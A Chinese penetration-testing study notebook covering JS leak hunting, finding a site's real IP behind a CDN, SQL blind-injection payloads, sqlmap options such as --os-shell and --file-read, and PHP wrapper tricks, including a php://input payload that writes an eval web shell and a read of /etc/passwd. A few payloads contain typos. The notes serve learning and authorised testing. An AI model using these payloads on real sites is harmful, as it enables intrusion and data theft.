学习笔记

JS

流行的JS框架有Vue、NodeJS、jQuery、Angular等。

JS安全问题:

  1. 源码泄漏
  2. 未授权访问=JS里面分析更多的URL访问确定接口路径
  3. 敏感key泄漏=JS文件中可能配置了接口信息(云应用,短信,邮件,数据库等)
  4. API接口安全=(代码中加密提交参数传递,更多的URL路径)

浏览器F12搜索关键词寻找泄露路径:

src=  
path=
method:“get”
http.get("
method:“post”
http.post("
$.ajax
[http://service.httppost](http://service.httppost/)
[http://service.httpget](http://service.httpget/)

URLFinder-用于分析页面中的js与url,查找隐藏在其中的敏感信息或未授权api接口。
https://github.com/pingc0y/URLFinder

蜜罐

蜜罐是一种安全威胁的检测技术,其本质在于引诱和欺骗攻击者,并且通过记录攻击者的攻击日志来产生价值。安全研究人员可以通过分析蜜罐的被攻击记录推测攻击者的意图和手段等信息。攻击方可以通过蜜罐识别技术来发现和规避蜜罐。因此,我们有必要站在红队攻击者的角度钻研蜜罐识别的方式方法。

CDN

通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络。CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。其目的是使用户可就近取得所需内容,解决 Internet网络拥挤的状况,提高用户访问网站的响应速度。

传统访问:用户访问域名–>解析服务器 IP–>访问目标主机
普通 CDN:用户访问域名–>CDN 节点–>真实服务器 IP–>访问目标主机
带 WAF的 CDN:用户访问域名–>CDN 节点(WAF)–>真实服务器 IP–>访问目标主机

使用不同区域ping,查看ping的ip结果是否唯一。若不唯一,则目标网站可能存在CDN。
https://ping.chinaz.com/

绕过CDN查找真实ip

  • 有些站点的主站使用了CDN,某些子域名可能未使用。一般子域名极有可能和主站保持同一IP,所以扫描子域名可以查找到真实IP。
  • 目标站点存在漏洞,如phpinfo敏感信息泄露,github信息泄露等。若存在web漏洞,服务器主动与我们发起请求连接,我们也能获取目标站点真实ip。例如xss、ssrf、命令执行反弹shell等。
  • 查询ip与域名绑定历史记录,可能会发现使用CDN之前的目标ip。http://www.17ce.com/
  • 很多站点都有发送邮件sendmail的功能,如Rss邮件订阅等。而且一般的邮件系统很多都是在内部,没有经过CDN的解析,在邮件源码里面就会包含服务器的真实 IP。
  • FOFA付费服务:云资产原始IP查询

红队信息收集

https://www.cnblogs.com/AffectedFish/p/16926959.html
https://xz.aliyun.com/t/10236?u_atoken=b43106d9a9c747e0863023033400e7bb&u_asig=1a0c399d17323596204497915e003a

身份验证技术

Cookie和Session都是用来在Web应用程序中跟踪用户状态的机制。

1.存储位置不同:
Cookie是存储在客户端(浏览器)上的,而Session是存储在服务器端的。

2.安全性不同:
Cookie存储在客户端上,可能会被黑客利用窃取信息,而Session存储在服务器上,更加安全。

3.存储容量不同:
Cookie的存储容量有限,一般为4KB,而Session的存储容量理论上没有限制,取决于服务器的硬件和配置。

4.生命周期不同:
Cookie可以设置过期时间,即便关闭浏览器或者重新打开电脑,Cookie仍然存在,直到过期或者被删除。而Session一般默认在浏览器关闭后就会过期。

5.访问方式不同:
Cookie可以通过JavaScript访问,而Session只能在服务器端进行访问。

6.使用场景不同:
Cookie一般用于存储小型的数据,如用户名和密码等信息。而Session一般用于存储大型的数据,如购物车、登录状态等信息。

Token

采用token机制的Web应用程序,用户在登录成功后会收到一个token,这个token可以在每次请求时发送给服务器进行身份验证。如果这时对用户名及密码进行抓包爆破,即使密码正确也无法成功登录,因为token对应不上。

保证了数据包的唯一性,防止暴力破解。

DOM

定义

DOM 将 HTML 文档解析为一个由节点组成的树,称为 DOM 树。每个节点表示文档中的一个部分(例如元素、文本、属性等)。开发者可以通过JavaScript访问、修改和动态更新文档的内容、结构和样式。

例如:

<div>
<p>Hello</p>
<p>World</p>
</div>

结构:

div
├── p
│ └── Text: "Hello"
└── p
└── Text: "World"

DOM 的常用操作

获取对象

<!-- 这是标题 -->
<h1 id="myHeader" onclick="getValue()">这是标题</h1>

<!-- 选择第一个 h1 元素 -->
document.querySelector('h1')

<!-- 选择所有具有 'id' 类的元素 -->
document.querySelector('.id')

<!-- 选择具有 'myHeader' id 的元素 -->
document.querySelector('#myHeader')

获取对象属性

<!-- HTML代码 -->
<h1 id="myHeader" onclick="getValue()">这是标题</h1>

<!-- JavaScript代码 -->
<script>
// 选择第一个 h1 元素
const h1 = document.querySelector('h1');

**// 获取 h1 元素的 id 属性
const id = h1.id;

// 输出 id 到控制台
console.log(id);**
</script>

利用DOM实现图片更新操作

更换图片只需修改img.src:

如果这里2.png是一个用户传递的变量,就会造成DOM型XSS

SQL注入

原理:接受的参数值未进行过滤直接带入SQL查询。

盲注

在注入过程中,获取的数据不能回显至前端页面,常规的联合查询注入不行,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

1、基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid

注入逻辑:

  • 当条件为真时,页面正常返回;为假时,页面异常或没有数据返回。
  • 攻击者可以通过逐字符猜测数据。
and length(database())=7;
and left(database(),1)='p';
and left(database(),2)='pi';
and substr(database(),1,1)='p';
and substr(database(),2,1)='i';
and ord(left(database(),1))=112;

2、基于时间的SQL盲注-延时判断
if,sleep

注入逻辑:

  • 如果条件成立,则执行 SLEEP() 或类似延迟函数,页面响应时间增加;否则立即返回。
  • 攻击者逐字符猜测数据库名、表名等信息。
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);
and if(length(database())=7,sleep(10),0);
and if(and left(database(),2)='pi',sleep(10),0);

3、基于报错的SQL盲注-报错回显

数据库通常会在语法错误或非法操作时抛出详细的错误消息。通过构造特定的恶意 SQL 语句,使数据库抛出错误,从错误中提取信息。

and updatexml(1,concat(0x7e,(SELECT datebase()),0x7e),1)
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

Sqlmap

1. sqlmap超详细笔记+思维导图 - bmjoker - 博客园

测试站点:http://testphp.vulnweb.com/artists.php?artist=1

--current-db   #获取当前数据库名

--tables -D "数据库名" #获取表名

--columns -T "表名" -D "数据库名" #获取列名

--dump -C "列名" -T "表名" -D "数据库名" #获取数据

MYSQL区分root和非root:

#引出权限:
--privileges # 查看权限
--is-dba # 是否是数据库管理员

--sql-shell # 执行指定sql命令

#引出文件:
--file-read # 读取指定文件
--file-write # 写入本地文件
--file-dest

#引出命令:
--os-cmd=calc # 调出计算器
--os-shell
--sql-shell

#提交方法:
--data "" # 表单里POST请求,抓包找数据请求,不推荐

--cookie "" # Cookie,不推荐

-r 1.txt # 推荐,数据完整性。把请求标头放进文件,但其实文件里不知道注入点,后面加上星号(*)标明注入点

php伪协议

  • 文件读取:
file:///etc/passwd  # 绝对路径

php://filter/read=convert.base64-encode/resource=phpinfo.php # 相对路径
  • 文件写入:
php://filter/write=convert.base64-encode/resource=phpinfo.php  
POST data: content=base64的数据
# 需要在代码中有类似file_put_contents($_GET['file'],$_POST['content'])写法

php://input
POST data:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

  • 代码执行:
php://input POST:<?php phpinfo();?>

data://text/plain,<?php phpinfo();?>

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

域渗透

Impacket:用于处理网络协议的 Python 类的集合,专注于提供对数据包的底层逻辑编程访问。

AD的核心是DNS服务器,通过它定位各种资源。

53:DNS
88:kerberos(票据)